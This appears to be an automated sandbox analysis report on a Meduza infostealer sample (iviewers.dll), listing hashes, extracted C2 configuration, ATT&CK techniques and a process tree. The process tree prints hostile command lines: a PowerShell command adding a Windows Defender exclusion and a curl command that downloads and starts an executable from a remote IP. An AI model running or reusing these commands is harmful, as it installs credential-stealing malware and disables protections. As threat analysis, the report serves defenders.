meduza | 4e462760e6bf5b71642462a5b73a370b9b4c3d50ecb47c1b236747836cfc128d

General

Target

iviewers.dll
Size

83KB
MD5

55470aea5b9f0cfc5af1bb312638cf47
SHA1

c9b7d95b45fe7f3282d4e76796c66f9c050961b7
SHA256

0e1eed48e5643a9090e8f55f741ae9c322ec9b8fb3c6f6d902a9d977762ec0b5
SHA512

ee001e521670500a645dcff5141d73aafd864c82b4ebb0e4c9f7975e1e25124d92bfa6dc9b6170b1d018697672116920d428e629b66b3cfbeecf93933ef2ef4d
SSDEEP

1536:obo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQCLHWeDCf7/P/:os5tXVQLRC7iv4qTvcGQS1VQCjWeDCfb

Score

10^/10

meduza 1 collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

Botnet

1

C2

45.93.20.15

Attributes

anti_dbg
true
anti_vm
true
build_name
1
extensions
.txt; .doc; .xlsx
grabber_maximum_size
4194304
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral3/files/0x001600000001ed35-48.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
25	3512	curl.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	1.exe

Executes dropped EXE 1 IoCs

pid	Process
1748	1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	api.ipify.org
29	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2248	powershell.exe
2248	powershell.exe
1748	1.exe
1748	1.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	1748	1.exe
Token: SeImpersonatePrivilege	1748	1.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 208	1980	regsvr32.exe	87
PID 1980 wrote to memory of 208	1980	regsvr32.exe	87
PID 1980 wrote to memory of 208	1980	regsvr32.exe	87
PID 208 wrote to memory of 1684	208	regsvr32.exe	88
PID 208 wrote to memory of 1684	208	regsvr32.exe	88
PID 208 wrote to memory of 1684	208	regsvr32.exe	88
PID 1684 wrote to memory of 2248	1684	cmd.exe	90
PID 1684 wrote to memory of 2248	1684	cmd.exe	90
PID 1684 wrote to memory of 2248	1684	cmd.exe	90
PID 208 wrote to memory of 396	208	regsvr32.exe	91
PID 208 wrote to memory of 396	208	regsvr32.exe	91
PID 208 wrote to memory of 396	208	regsvr32.exe	91
PID 396 wrote to memory of 3512	396	cmd.exe	93
PID 396 wrote to memory of 3512	396	cmd.exe	93
PID 396 wrote to memory of 3512	396	cmd.exe	93
PID 396 wrote to memory of 1748	396	cmd.exe	96
PID 396 wrote to memory of 1748	396	cmd.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:396
  - - C:\Windows\SysWOW64\curl.exe
      curl -o 1.exe http://147.45.44.170/1.exe
      4⤵
      Downloads MZ/PE file
      PID:3512
  - - C:\Windows\Temp\1.exe
      1.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x3gbql5q.4bc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\1.exe

Filesize
1.2MB

MD5
40d39e1426b624e504f616d225b8e410

SHA1
d7e633ca620078db8656623b00dddfefc842fe35

SHA256
2e18b0a1b76f84de1008f468cbfb80d95258474e6fa53b20c70da9b974391c9a

SHA512
baf7c93d9ecec4d85923bc7f70378867a82ff8175eb5bb1b20b00121775a201431b880de067980b26af0448c6c83e706b1fb5612e91ca6fbe7f4ea11b6199e25

Download Submit
memory/2248-32-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/2248-42-0x0000000007C30000-0x0000000007C44000-memory.dmp

Filesize
80KB

Download
memory/2248-4-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/2248-5-0x00000000058D0000-0x00000000058F2000-memory.dmp

Filesize
136KB

Download
memory/2248-33-0x0000000007690000-0x0000000007733000-memory.dmp

Filesize
652KB

Download
memory/2248-6-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/2248-2-0x0000000005950000-0x0000000005F78000-memory.dmp

Filesize
6.2MB

Download
memory/2248-17-0x00000000061D0000-0x0000000006524000-memory.dmp

Filesize
3.3MB

Download
memory/2248-18-0x00000000066B0000-0x00000000066CE000-memory.dmp

Filesize
120KB

Download
memory/2248-19-0x00000000066D0000-0x000000000671C000-memory.dmp

Filesize
304KB

Download
memory/2248-20-0x0000000007650000-0x0000000007682000-memory.dmp

Filesize
200KB

Download
memory/2248-21-0x0000000070320000-0x000000007036C000-memory.dmp

Filesize
304KB

Download
memory/2248-3-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/2248-0-0x0000000073A9E000-0x0000000073A9F000-memory.dmp

Filesize
4KB

Download
memory/2248-7-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/2248-34-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/2248-35-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download
memory/2248-36-0x0000000008010000-0x000000000868A000-memory.dmp

Filesize
6.5MB

Download
memory/2248-37-0x00000000079C0000-0x00000000079DA000-memory.dmp

Filesize
104KB

Download
memory/2248-38-0x0000000007A50000-0x0000000007A5A000-memory.dmp

Filesize
40KB

Download
memory/2248-39-0x0000000007C60000-0x0000000007CF6000-memory.dmp

Filesize
600KB

Download
memory/2248-40-0x0000000007BE0000-0x0000000007BF1000-memory.dmp

Filesize
68KB

Download
memory/2248-41-0x0000000007C20000-0x0000000007C2E000-memory.dmp

Filesize
56KB

Download
memory/2248-31-0x0000000006C70000-0x0000000006C8E000-memory.dmp

Filesize
120KB

Download
memory/2248-43-0x0000000007D20000-0x0000000007D3A000-memory.dmp

Filesize
104KB

Download
memory/2248-45-0x0000000007D00000-0x0000000007D08000-memory.dmp

Filesize
32KB

Download
memory/2248-1-0x0000000002D70000-0x0000000002DA6000-memory.dmp

Filesize
216KB

Download
memory/2248-51-0x0000000073A90000-0x0000000074240000-memory.dmp

Filesize
7.7MB

Download

Analysis

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